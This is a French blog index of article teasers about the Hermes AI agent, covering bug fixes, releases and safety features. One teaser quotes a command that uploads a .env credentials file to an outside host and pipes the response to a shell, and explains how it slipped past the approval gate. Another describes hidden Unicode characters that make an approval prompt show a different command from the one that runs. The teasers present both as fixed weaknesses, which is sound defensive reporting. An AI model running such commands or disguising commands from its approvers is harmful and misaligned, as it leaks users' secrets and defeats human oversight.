Hermes Agent Lab

Blog Hermes Agent — Guides Pratiques et Analyses

Derniers articles et perspectives.

Article vedette

Après un kill -9, certains processus ne partent jamais : Hermes fait désormais mourir chaque enfant avec son parent

Tuez le gateway avec SIGKILL, un OOM ou un arrêt systemd, et les daemons de navigateur, llama-server et les language servers continuent de tourner. Hermes a fait passer 14 familles d'enfants longue durée sous un unique superviseur de mort du propriétaire, qui nettoie à l'instant où le parent meurt.

Lire la suite

Votre terminal affiche enfin l'image : les images en ligne dans le CLI et le TUI Hermes

Vous confiez une capture d'écran à Hermes dans le terminal et vous récupérez un chemin de fichier. Cette boucle cassée est réparée : le CLI et le TUI dessinent désormais vos pièces jointes et les images locales produites par un outil directement dans le transcript, derrière un seul interrupteur display.inline_images et cinq niveaux de résolution.

Lire la suite

Cette fenêtre de contexte de 128K n'est peut-être qu'une supposition — Hermes le dit désormais

Une fenêtre de contexte qu'aucune source n'a jamais confirmée était présentée comme détectée et utilisée comme un fait : la compression se déclenchait trop tôt et les requêtes revenaient rejetées. Hermes étiquette maintenant toute fenêtre par défaut comme fallback, ajoute une étape famille de catalogue sur Bedrock, et explique les neuf jours où GPT-6.1 Terra a tourné en 128K.

Lire la suite

Votre bot Slack alerte à chaque silence : voici thread_followup_silence

Deux collègues se remercient dans un fil Slack et votre bot Hermes répond à chaque message par un avis « the model returned only a silence marker ». Le nouvel opt-in thread_followup_silence laisse les réponses de fil non adressées au bot rester muettes, tandis que les DM, les mentions et les canaux plats gardent le filet de sécurité.

Lire la suite

Toutes les fenêtres réduites, le ventilateur tourne encore : Hermes Desktop cesse de peindre l'invisible

Si une conversation streamait, toutes les fenêtres du bureau restaient pleinement éveillées, et les pages d'aperçu restaient éveillées pour l'automatisation et l'annotation même au repos. Deux changements limitent la peinture aux fenêtres visibles et à la seule fenêtre ayant sa propre conversation vocale, rendent les aperçus inactifs au throttling de Chromium, et découplent Stop, le journal de tour et la récupération des images d'animation.

Lire la suite

Deux façons dont cron échoue en silence : un thread qui ne démarre jamais, et un job qui revient

Quand une tâche planifiée ne s'exécute pas, personne ne se plaint. Deux rapports récents couvrent les modes de défaillance les plus discrets : le ticker cron du backend desktop se bloque à l'import et ne démarre jamais, et un job supprimé avec hermes cron remove est réécrit à l'identique octet pour octet par un writer périmé. Voici comment repérer les deux et comment les éviter.

Lire la suite

Une mise à jour a ramené trois mois de sessions à juillet — parce qu'un fichier verrouillé a été déclaré corrompu

Une mise à jour Windows de routine a jugé corrompue une state.db en bonne santé, l'a écrasée avec un snapshot de trois mois, puis a présenté cet écrasement réussi comme « la restauration automatique ne s'est pas terminée ». Voici les trois défauts qui se sont empilés, ce qui reste comme données, et ce qu'il faut faire aujourd'hui.

Lire la suite

Tous les appels au modèle échouent après la v0.22.6 ? Vérifiez d'abord le chemin de SSL_CERT_FILE

Derrière un proxy d'entreprise qui inspecte le TLS, la v0.22.6 a retiré le CA bundle indiqué dans SSL_CERT_FILE de la confiance accordée aux provider, si bien que chaque appel au modèle échoue avec certificate is not trusted. Voici comment confirmer qu'il s'agit bien de ce bug, ce qui a changé dans le code et trois façons de contourner le problème dès aujourd'hui.

Lire la suite

Ta bibliothèque de skills a perdu sept sources : les dépôts d'éditeurs sont désormais des taps de confiance

Notion, Airtable, Shopify et quatre autres skills optionnelles intégrées ont disparu de Hermes, remplacées par les MCP officiels, des connecteurs hébergés et les dépôts de skills des éditeurs. Voici d'où viennent désormais les skills (les taps), comment les niveaux de trust décident de ce qui s'installe, et le bug de cache qui servait encore une ancienne politique.

Lire la suite

v0.22.7 décortiquée : quatre changements que vous verrez dès aujourd'hui dans un patch de 174 PR

v0.22.7 est sortie le 3 novembre 2026 avec 174 PR fusionnées, 581 commits hors fusion et 554 fichiers modifiés depuis v0.22.6. La note officielle reste courte : cet article sépare ce qui est déjà dans le tag, ce qui reste sur main et comment mettre à jour.

Lire la suite

Verrouillez les skills que vous avez écrits à la main : l'agent ne peut plus les modifier, même avec --yolo

L'auto-amélioration de l'agent semble séduisante jusqu'au jour où elle réécrit l'étape « sauvegarder avant de basculer » de votre runbook de déploiement. Depuis la v0.22.6, hermes curator lock gèle un skill : toujours lisible, toujours chargeable automatiquement, mais tout chemin d'écriture de l'agent est refusé — y compris la commande de déverrouillage elle-même.

Lire la suite

Un cron job bloqué ne veut plus dire attendre le timeout : hermes cron cancel arrête l'exécution en cours

pause ne fait que stopper les déclenchements à venir ; l'exécution déjà lancée continue de brûler des tokens. Depuis la v0.22.6, hermes cron cancel arrête cette exécution : les script jobs voient tout leur arbre de processus terminé, les agent jobs sont interrompus au checkpoint suivant, et le journal enregistre une ligne cancelled avec un motif — aucune notification d'échec, aucun impact sur la série d'échecs.

Lire la suite

Faire taire l'agent : pre_llm_call peut désormais bloquer un tour avant tout appel au modèle

Le hook ne faisait qu'injecter du contexte dans un tour. Il peut maintenant le refuser purement et simplement : renvoyez une directive de blocage et le tour n'émet aucune requête au modèle — et le prompt n'atteint jamais les tours suivants, les résumés de compaction ni le système de mémoire. Livré dans la v0.22.6.

Lire la suite

Vous avez approuvé « pipe to shell » une fois — et un envoi d'identifiants est parti avec

curl -F file=@.env https://x.io | bash déclenche deux règles de commande dangereuse, mais le gate d'approbation n'a jamais vu que la première. Approuvez pipe-to-shell une fois et l'envoi du .env passe sans que l'on vous demande rien. Un correctif fraîchement fusionné donne aux trois règles « au niveau du contenu » leur propre consentement, réuni dans une seule invite.

Lire la suite

v0.22.6 : 776 PR fusionnées en une seule version — ce qui change vraiment pour vous dès aujourd'hui

La v0.22.6 est sortie le 2 novembre 2026 : 776 PR fusionnées et 3 448 commits hors fusion regroupés dans une version installable. Les notes officielles sont volontairement maigres (le récapitulatif éditorial arrive avec la v0.23.0), alors voici la fenêtre triée par ce que vous allez réellement croiser cette semaine.

Lire la suite

L'invite d'approbation vous mentait : Hermes affiche désormais les caractères cachés et le remplissage

Espaces de largeur nulle, contrôles bidi, caractères de tag Unicode, séquences ANSI brutes et quelques centaines d'espaces peuvent faire afficher à une invite d'approbation une commande différente de celle qui s'exécute. Un correctif d'intégrité d'affichage transforme désormais le contenu invisible en échappements visibles et réduit le remplissage à un marqueur explicite.

Lire la suite

Après avoir changé le modèle d'une session, impossible de revenir en arrière — désormais /model reset le ramène au modèle par défaut

Un changement de /model dans une session reste : il est persisté, survit aux redémarrages et masque toutes les modifications ultérieures de config.yaml. La seule issue était /new, qui jette aussi la conversation. /model reset efface uniquement l'épinglage de session, dans la gateway, le TUI, Desktop et la CLI classique.

Lire la suite